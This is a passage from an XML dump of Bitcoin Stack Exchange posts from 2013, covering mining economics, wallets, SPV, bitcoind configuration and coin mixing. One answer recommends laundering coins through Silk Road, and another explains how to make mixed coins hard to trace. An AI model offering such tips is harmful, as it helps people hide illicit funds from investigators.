  <row Id="11709" PostTypeId="2" ParentId="11705" CreationDate="2013-06-18T13:58:05.973" Score="4" Body="&lt;p&gt;Bitcoin's difficulty adjusts itself automatically according to the amount of hashing power available. Since not every miner has the same profit margin, they may be shutting off and turning on at different times. Because of this in the end only the most efficient miners will be mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case there is a sudden drop in mining profitability (like say after the 2011 bubble), a lot of miners might drop off the network. As long as some of them still mine (those that are in for the long run and the idealists that will mine no matter what at the very least), that won't harm the network. The block generation might slow down for 2 weeks, but after the amount of hashing power stabilizes, everything will go back to normal. Bitcoin is a self-correcting system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as long as the amount of hashing power that suddenly drop out of the network is not really big, Bitcoin will be unaffected in the long run.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-06-18T13:58:05.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11710" PostTypeId="2" ParentId="11687" CreationDate="2013-06-18T17:20:58.077" Score="3" Body="&lt;p&gt;Possibly checkout ABE - Alternative Block Parser. It uses python and a SQL-based database but you can hook up other databases based on the driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jtobey/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jtobey/bitcoin-abe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-06-18T17:20:58.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11711" PostTypeId="1" AcceptedAnswerId="11739" CreationDate="2013-06-18T17:48:42.240" Score="1" ViewCount="5278" Body="&lt;p&gt;While digging through the &lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/master/API-README&quot; rel=&quot;nofollow&quot;&gt;API of the cgminer&lt;/a&gt; I noticed that there is a value which I could not figure out what it means: the utility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it stand for, what are common values and how is it calculated?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="5406" LastEditDate="2016-03-16T10:18:38.310" LastActivityDate="2016-03-16T10:18:38.310" Title="What is the utility in the cgminer statistics" Tags="|cgminer|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11712" PostTypeId="2" ParentId="11695" CreationDate="2013-06-18T18:04:17.587" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Now I am looking for advices what would be pros and cons of both options: VC investment vs. bitcoin crowdfunding.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;LocalBitcoins provides an escrow that facilitates person-to-person transfer of cash in exchange for bitcoins.  The U.S. regulator FinCEN has provided guidance that clearly describes that as being a money transmitter service.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If LocalBitcoins wants to raise funds from investors from the U.S., including from venture capitalists, it will likely need to pivot to where it is registered as a money transmitter (in all states where it is necessary) and comply with the AML/KYC requirements that such licensing entails.  In this manner, those who trade through LocalBitcoins might be serving as agents of LocalBitcoins.  That is a huge shift from LocalBitcoin's current approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If LocalBitcoins wants to raise funds via direct investment (e.g., IPO and listing through a cyber-equities market exchange) then it should be aware of the current status of equity crowdfunding in the U.S. -- (i.e., it is still not legal to solicit investment from the U.S. as the SEC is still doing rulemaking for equity crowdfunding).  Regardless, no cyber-equities exchanges (such as BitFunder) would be considered to be a &quot;crowdfunding portal&quot; so even once the SEC has completed their rulemaking raising funds through cyber-equities markets would still not be something that could be offered and comply with the securities regulations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LocalBitcoins has already built a core Bitcoin exchange service and possibly could raise capital without having to solicit funds from U.S. investors, regardless of whether that is from venture capital or via equity crowdfunding.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-06-18T18:04:17.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11713" PostTypeId="1" AcceptedAnswerId="11724" CreationDate="2013-06-18T20:11:33.500" Score="5" ViewCount="810" Body="&lt;p&gt;Isn't an exchange such as MtGox essentially a mixing service? I might be wrong, but can somebody trace coins when they are paid to one address, possibly exchanged, and another amount is paid back from another exchange address back to you? As long as you don't pay back the coins to the same address, and amount is not exactly the same, can this even be traced through blockchain?&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="1307" LastEditDate="2013-06-19T13:55:16.073" LastActivityDate="2014-06-10T13:46:54.357" Title="Is an exchange a good substitute for a mixing service?" Tags="|privacy|mixing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11714" PostTypeId="2" ParentId="11705" CreationDate="2013-06-18T20:12:16.110" Score="2" Body="&lt;p&gt;Mining services are paid for using a subsidy.  Currently this subsidy pays out 3,600 BTC (worth about 400K USD) each day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some miners will save their proceeds, others will cash out to fiat (especially the GPU miners who have high electric bills) and a small minority of miners will spend their mined coins in the Bitcoin economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it matters little to the Bitcoin economy that the GPU miners will no longer be receiving enough to cover their electricity costs (and will be forced to retire that hardware).  &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-06-18T20:12:16.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11715" PostTypeId="2" ParentId="11665" CreationDate="2013-06-18T21:29:29.843" Score="1" Body="&lt;p&gt;you can always send coins to silkroad and withdraw them. i would think that they have a large pool since basically all coins that go through there get washed&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2013-06-18T21:29:29.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11716" PostTypeId="1" CreationDate="2013-06-18T23:57:35.517" Score="7" ViewCount="5422" Body="&lt;p&gt;I'm looking for an exchange to trade my altcoins against each other to take advantage of the volatility. Any suggestions for altcoin exchanges?&lt;/p&gt;&#xA;" OwnerUserId="5628" LastEditorUserId="5406" LastEditDate="2015-12-12T13:03:41.860" LastActivityDate="2015-12-12T13:03:41.860" Title="Where can I trade my altcoins?" Tags="|litecoin|namecoin|peercoin|altcoin-trade|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11717" PostTypeId="2" ParentId="11716" CreationDate="2013-06-19T01:32:35.193" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.crypto.st&quot; rel=&quot;nofollow&quot;&gt;Crypto Street&lt;/a&gt; is a platform launched to do exactly this. We support &lt;code&gt;BTC&lt;/code&gt;, &lt;code&gt;LTC&lt;/code&gt; and &lt;code&gt;FTC&lt;/code&gt; for now. We plan to add additional altcoins as they prove viable or in some way substantial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(DISCLAIMER: I am one of the owners of the site).&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-06-19T01:32:35.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11718" PostTypeId="2" ParentId="10461" CreationDate="2013-06-19T01:40:28.497" Score="2" Body="&lt;p&gt;Why Electrum?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Instant on: Your client does not download the blockchain, it uses a remote server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Forgiving: Your wallet can be recovered from a secret seed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Safe: Private keys are never sent to the server. Information sent by the server is verified using SPV&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No downtimes: Several public servers are available, you can switch instantly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ubiquitous: You can use the same wallet on different computers, it will auto-synchronize.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open: You can export your private keys into other Bitcoin clients.&#xA;Tested and audited: Electrum is open source and was first released in November 2011.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://electrum.org/tutorials.html#why-electrum&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/tutorials.html#why-electrum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-06-19T01:40:28.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11719" PostTypeId="2" ParentId="9050" CreationDate="2013-06-19T01:44:37.220" Score="2" Body="&lt;p&gt;F: Full servers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P: Pruned servers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an old question, Electrum server are not F or P anymore.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-06-19T01:44:37.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11720" PostTypeId="2" ParentId="9694" CreationDate="2013-06-19T06:17:32.753" Score="16" Body="&lt;p&gt;CPU mining is no longer supported. See CGMiner FAQ:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Q: What happened to CPU mining?&lt;/p&gt;&#xA;&lt;p&gt;A: Being increasingly irrelevant for most users, and a maintenance issue, it is&#xA;no longer under active development and will not be supported. No binary builds&#xA;supporting CPU mining will be released. Virtually all remaining users of CPU&#xA;mining are as back ends for illegal botnets. The main reason cgminer is being&#xA;inappopriately tagged as a virus by antivirus software is due to the trojans&#xA;packaging a CPU mining capable version of it. There is no longer ANY CPU mining&#xA;code in cgminer. If you are mining bitcoin with CPU today, you are spending&#xA;1000x more in electricity costs than you are earning in bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5530" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-06-19T06:17:32.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11721" PostTypeId="2" ParentId="11054" CreationDate="2013-06-19T09:44:23.557" Score="21" Body="&lt;p&gt;You are right that SPV as described in the Bitcoin paper does not explain how to discover payments to yourself, without downloading full blocks. My guess is that Satoshi either planned to develop this later, or that he assumed you'd just be told about payments to yourself (pay-to-IP, as existed next to pay-to-pubkeyhash as is used now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practical implementations of SPV nodes today however use a protocol extension called bloom filters, described in &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0037&quot;&gt;BIP 37&lt;/a&gt;. They use &lt;code&gt;getheaders&lt;/code&gt; to fetch block information prior to their wallet's birth timestamp, and request &lt;em&gt;filtered blocks&lt;/em&gt; afterwards. To do so, they submit a bloom filter that describes the addresses and transactions they are interested in to the peer. The peer then only includes the relevant transactions in blocks it submits, together with their Merkle paths to prove that these transactions were indeed part of said block.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-06-19T09:44:23.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11722" PostTypeId="1" CreationDate="2013-06-19T13:25:18.980" Score="1" ViewCount="8160" Body="&lt;p&gt;It will take several days before the wallet is in sync. I already purchased a bitcoin and am waiting for it to transfer into my account using the address that was generated by Bitcoin-Qt. Can I just re-divert the Bitcoin to a cloud-based wallet that doesn't need to synchronize?&lt;/p&gt;&#xA;" OwnerUserId="5635" LastEditorUserId="13172" LastEditDate="2014-03-13T17:44:49.013" LastActivityDate="2014-03-13T17:44:49.013" Title="Bitcoin-Qt wallet is taking forever to synchronise. Can I just use the same address elsewhere to collect coins?" Tags="|blockchain|wallet|bitcoin-core|synchronization|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11723" PostTypeId="2" ParentId="11722" CreationDate="2013-06-19T13:38:11.687" Score="1" Body="&lt;p&gt;Are you sure the syncing is not advancing? If you hover the icon in the lower right corner, you should see the block count. Can you see it increase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can export your client's &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;wallet.dat&lt;/code&gt;&lt;/a&gt; file and import it into &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10974/import-wallet-dat-into-a-new-bitcoin-qt-client&quot;&gt;a new Bitcoin-Qt wallet&lt;/a&gt; or into &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10095/what-other-wallets-can-import-qts-backup-dat-file&quot;&gt;another Bitcoin wallet&lt;/a&gt;, either using the &lt;code&gt;wallet.dat&lt;/code&gt; file directly or by extracting the private keys from it.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-06-19T13:38:11.687" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11724" PostTypeId="2" ParentId="11713" CreationDate="2013-06-19T13:54:55.010" Score="3" Body="&lt;p&gt;Well, &quot;mixing&quot; can be seen as different things. At it simplest, every transaction mixes up your coins a little, especially when you split or combine them. However, what makes a &quot;mixing service&quot; is somehow more specialised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there are several differences with exchanges:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Mixing services usually have a static pile of coins, distributed over a big web of addresses. When you want to mix your coins, the mixing service can do it instantly by distributing your coins into his web transferring them to both new and existing addresses and meanwhile transfer an equal amount of coins to a new address for you by combining small parts from his web. &lt;strong&gt;The difference here is that you do not rely on another 3th party that also wants to mix/trade, as you do with an exchange.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Most &lt;strong&gt;mixing services have a fixed fee&lt;/strong&gt; that you pay &lt;em&gt;in Bitcoin&lt;/em&gt;. Exchanges may as well have fixed trading fees, there is another cost to consider. You will have to both make a sell order and a buy order to &quot;mix&quot; your coins using an exchange. Even if you make both orders instantly after each other, &lt;strong&gt;you will probably lose more than twice the trading fee&lt;/strong&gt;. This is because there is always a price difference between the lowest buying price and the highest selling price. Furthermore, if you make the trades while the price is raising, it will probably cost you even more.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As &lt;a href=&quot;https://bitcoin.stackexchange.com/users/153/stephen-gornick&quot;&gt;Stephen Gornick&lt;/a&gt; already &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11713/exchanges-as-mixing-services#comment15264_11713&quot;&gt;mentioned&lt;/a&gt;, &lt;strong&gt;exchanges keep logs&lt;/strong&gt;. They usually also &lt;strong&gt;require you to verify your identity&lt;/strong&gt; and this information will be bound to the logs, making the mix all but anonymous. Most &lt;strong&gt;mixing services do not require you to have an account at all&lt;/strong&gt;, they just give you a sending address and ask for a receiving address to which you want your funds back.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As a final note, I want to add that with a good implemented mixing service, the user base of the mixers does not really matter. A good mixer will always have a static web that can be used for each new mix by adding your coins into it and at the same time, picking some random others to combine to an equal output. As long as this static web is big enough, the mixing will be very hard to trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one thing that could make you vulnerable for trackers. If the mixing service works instantly, the trackers could search for a new address receiving just the same amount as the amount you just spent. This is not hard to do. So, another feature that would make a good mixer, would be the option to give multiple receiving addresses and not executing mixes instantly, but taking a few minutes between funding the different addresses. Note that this can be in favor of an exchange, by which the actual mix is not logged in the block chain, so trackers need to have access to the logs of the exchange to track you.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-06-19T13:54:55.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11726" PostTypeId="2" ParentId="11656" CreationDate="2013-06-19T15:57:36.367" Score="5" Body="&lt;p&gt;There are lots of differences in features supported, but the crucial difference is the architecture: Embedded vs. Client-Server Bitcoin Protocol Node and Wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinJ is a Java library to embed a Simplified or Full Verifying Bitcoin Node and a Wallet into your application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bits of Proof Enterprise Bitcoin Server is a configurable Full Verifying Bitcoin Node written in Java. The server process is accessible through a message bus for client applications and extensions. Several layers and flavors of client libraries are available, such as: STOMP, Java, REST. The Wallet is implemented in the client library, therefore a server process can serve several unrelated applications and distinct Wallets. Several server instances might run in a load balanced configuration serving clients through a common bus. The company Bits of Proof offers commercial support and hosts server instances.&lt;/p&gt;&#xA;" OwnerUserId="5522" LastActivityDate="2013-06-19T15:57:36.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11727" PostTypeId="2" ParentId="9274" CreationDate="2013-06-19T18:11:17.827" Score="3" Body="&lt;p&gt;This is covered in the included &lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/README&quot; rel=&quot;nofollow&quot;&gt;README&lt;/a&gt; document.&lt;/p&gt;&#xA;" OwnerUserId="942" LastEditorUserId="120" LastEditDate="2013-06-20T12:21:10.983" LastActivityDate="2013-06-20T12:21:10.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11728" PostTypeId="1" AcceptedAnswerId="11743" CreationDate="2013-06-19T21:32:05.610" Score="9" ViewCount="16369" Body="&lt;p&gt;I have created a conf file on the following path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\NAME\AppData\Roaming\Bitcoin\bitcoin.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run the Bitcoind file, nothing happens. My command line window becomes unresponsive as if it's waiting. I've waited ~1 hour, and my computer is pretty highend (i7 processor, 16gb ram).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VkREl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to run the server and fire some commands on the bitcoind server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following conf file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bitcoin.conf configuration file. Lines beginning with # are comments.&#xA;&#xA;&#xA; # Network-related settings:&#xA;&#xA; # Run on the test network instead of the real bitcoin network.&#xA; #testnet=0&#xA;&#xA; # Connect via a socks4 proxy&#xA; #proxy=127.0.0.1:9050&#xA;&#xA; ##############################################################&#xA; ##            Quick Primer on addnode vs connect            ##&#xA; ##  Let's say for instance you use addnode=4.2.2.4          ##&#xA; ##  addnode will connect you to and tell you about the      ##&#xA; ##    nodes connected to 4.2.2.4.  In addition it will tell ##&#xA; ##    the other nodes connected to it that you exist so     ##&#xA; ##    they can connect to you.                              ##&#xA; ##  connect will not do the above when you 'connect' to it. ##&#xA; ##    It will *only* connect you to 4.2.2.4 and no one else.##&#xA; ##                                                          ##&#xA; ##  So if you're behind a firewall, or have other problems  ##&#xA; ##  finding nodes, add some using 'addnode'.                ##&#xA; ##                                                          ##&#xA; ##  If you want to stay private, use 'connect' to only      ##&#xA; ##  connect to &quot;trusted&quot; nodes.                             ##&#xA; ##                                                          ##&#xA; ##  If you run multiple nodes on a LAN, there's no need for ##&#xA; ##  all of them to open lots of connections.  Instead       ##&#xA; ##  'connect' them all to one node that is port forwarded   ##&#xA; ##  and has lots of connections.                            ##&#xA; ##       Thanks goes to [Noodle] on Freenode.               ##&#xA; ##############################################################&#xA;&#xA; # Use as many addnode= settings as you like to connect to specific peers&#xA; #addnode=69.164.218.197&#xA; #addnode=10.0.0.2:8333&#xA;&#xA; # ... or use as many connect= settings as you like to connect ONLY&#xA; # to specific peers:&#xA; #connect=69.164.218.197&#xA; #connect=10.0.0.1:8333&#xA;&#xA; # Do not use Internet Relay Chat (irc.lfnet.org #bitcoin channel) to&#xA; # find other peers.&#xA; #noirc=0&#xA;&#xA; # Maximum number of inbound+outbound connections.&#xA; #maxconnections=&#xA;&#xA;&#xA; # JSON-RPC options (for controlling a running Bitcoin/bitcoind process)&#xA;&#xA;  server=1 #tells Bitcoin-QT to accept JSON-RPC commands.&#xA; #server=0&#xA;&#xA; # You must set rpcuser and rpcpassword to secure the JSON-RPC api&#xA; rpcuser=USERNAME_IVE_CHOSEN&#xA; rpcpassword=PASSWORD_IVE_CHOSEN&#xA;&#xA; # How many seconds bitcoin will wait for a complete RPC HTTP request.&#xA; # after the HTTP connection is established. &#xA; #rpctimeout=30&#xA;&#xA; # By default, only RPC connections from localhost are allowed.  Specify&#xA; # as many rpcallowip= settings as you like to allow connections from&#xA; # other hosts (and you may use * as a wildcard character):&#xA; #rpcallowip=10.1.1.34&#xA; #rpcallowip=192.168.1.*&#xA;&#xA; # Listen for RPC connections on this TCP port:&#xA; #rpcport=8332&#xA;&#xA; # You can use Bitcoin or bitcoind to send commands to Bitcoin/bitcoind&#xA; # running on another host using this option:&#xA; #rpcconnect=127.0.0.1&#xA;&#xA; # Use Secure Sockets Layer (also known as TLS or HTTPS) to communicate&#xA; # with Bitcoin -server or bitcoind&#xA; #rpcssl=1&#xA;&#xA; # OpenSSL settings used when rpcssl=1&#xA; #rpcsslciphers=TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH&#xA; #rpcsslcertificatechainfile=server.cert&#xA; #rpcsslprivatekeyfile=server.pem&#xA;&#xA;&#xA; # Miscellaneous options&#xA;&#xA; # Set gen=1 to attempt to generate bitcoins&#xA; #gen=0&#xA;&#xA; # Use SSE instructions to try to generate bitcoins faster.&#xA; #4way=1&#xA;&#xA; # Pre-generate this many public/private key pairs, so wallet backups will be valid for&#xA; # both prior transactions and several dozen future transactions.&#xA; #keypool=100&#xA;&#xA; # Pay an optional transaction fee every time you send bitcoins.  Transactions with fees&#xA; # are more likely than free transactions to be included in generated blocks, so may&#xA; # be validated sooner.&#xA; #paytxfee=0.00&#xA;&#xA; # Allow direct connections for the 'pay via IP address' feature.&#xA; #allowreceivebyip=1&#xA;&#xA; # User interface options&#xA;&#xA; # Start Bitcoin minimized&#xA; #min=1&#xA;&#xA; # Minimize to the system tray&#xA; #minimizetotray=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to make the server work?&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="1307" LastEditDate="2013-06-19T22:37:29.243" LastActivityDate="2020-05-09T20:24:27.580" Title="How to open bitcoind -daemon using command line in Windows?" Tags="|bitcoind|json-rpc|bitcoin.conf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11729" PostTypeId="2" ParentId="11722" CreationDate="2013-06-19T22:37:02.770" Score="1" Body="&lt;p&gt;Open Bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go Help &gt; Debug window. Then click &quot;console&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;dumpprivkey [the address you sent it too]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click &quot;Create my free wallet&quot;, and do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log in. Go to &quot;Import / export&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &quot;Import Private Key&quot; enter what the terminal returned.&lt;/p&gt;&#xA;" OwnerUserId="5640" LastActivityDate="2013-06-19T22:37:02.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11730" PostTypeId="1" AcceptedAnswerId="11733" CreationDate="2013-06-19T22:42:41.197" Score="4" ViewCount="324" Body="&lt;p&gt;Times at which a block is initially announced to the network aren't recorded in the block. Does bitcoind record at least the local time each block was seen the first time? Does anyone have any suggestions about how to record these times?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to use local data rather than hammer someone else's servers.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastActivityDate="2013-06-30T00:07:09.243" Title="Where are block announce times recorded?" Tags="|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11731" PostTypeId="1" AcceptedAnswerId="11737" CreationDate="2013-06-20T01:22:46.093" Score="5" ViewCount="486" Body="&lt;p&gt;I noticed a 2417 byte &lt;a href=&quot;http://blockchain.info/tx/8f1fae55831a87e5f0180a85f9c4583cfc524170bf0826a495289de98927f232&quot;&gt;transaction&lt;/a&gt; with a 2.7 BTC transaction fee. Is there any rational explanation for this, or was it perhaps a mistake?&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2013-06-25T21:35:45.237" Title="Anomalous 2.7 BTC transaction fee observed" Tags="|transaction-fees|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11732" PostTypeId="1" AcceptedAnswerId="11734" CreationDate="2013-06-20T05:10:53.353" Score="4" ViewCount="501" Body="&lt;p&gt;Using the terminology from: &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What prevents an attacker operating a rogue client from replacing the tx_out[] of a transaction with values that assign the output of the transaction to the attacker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tx_in[] is unchanged (and presumably valid), but the outputs now benefit the attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new hash can then be calculated and announced by the rogue client using the inv message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing prevents this occurring, how does the Bitcoin network prevent this rogue transaction from being included in a block?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[Not having anyway to comment at this point]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks David, that clarified greatly my [mis]understanding of the documentation at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Crypto&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script#Crypto&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OP_CHECKSIG description says in part:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The entire transaction's outputs, inputs, and script (from the most&#xA;  recently-executed OP_CODESEPARATOR to the end) are hashed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd thought &quot;the entire transaction&quot; was the preceding transaction, not the redeeming transaction, that was signed as you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you again for helping me out.&lt;/p&gt;&#xA;" OwnerUserId="5644" LastEditorUserId="5644" LastEditDate="2013-06-20T07:48:03.590" LastActivityDate="2013-06-20T07:48:03.590" Title="How is a Transaction protected from tampering before inclusion in a Block?" Tags="|transactions|fraud|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11733" PostTypeId="2" ParentId="11730" CreationDate="2013-06-20T06:09:54.910" Score="4" Body="&lt;p&gt;The creation time is recorded in the block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#block&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#block&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And since there's no benign benefit in deferring announcing it, it would seem likely creation time and announcement time would be pretty close.  But I accept there are variations, and pretty close may not be good enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is another approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the bitcoind/bitcoin-qt -blocknotify option, described here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://github.com/bitcoin/bitcoin/pull/743&quot; rel=&quot;nofollow&quot;&gt;github.com/bitcoin/bitcoin/pull/743&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To record the time of new best blocks (which seems to be the like what you want.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blocknotify=echo date&quot;, %s&quot; &amp;gt;&amp;gt; /home/userid/.bitcoin/blocknotify.log &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And got: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sun Jun 23 20:14:15 NZST 2013, 0000000000000069a26870e6f6693d733e32d57174bebb7d21f0fac1212fd83b &#xA;Sun Jun 23 20:33:04 NZST 2013, 000000000000003359dff8a8bd1033b02a52c6c2ff3ebb2f8dbffd171c97e83c &#xA;Sun Jun 23 20:43:11 NZST 2013, 000000000000004ec1559bd7e955ce8914a29a04b378bbcc34adf5bea077f73d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To clarify, that example of blocknotify was in bitcoind.conf, but it works on the command line too, with appropriate quoting of shell significant characters.&lt;/p&gt;&#xA;" OwnerUserId="5643" LastEditorUserId="5643" LastEditDate="2013-06-30T00:07:09.243" LastActivityDate="2013-06-30T00:07:09.243" 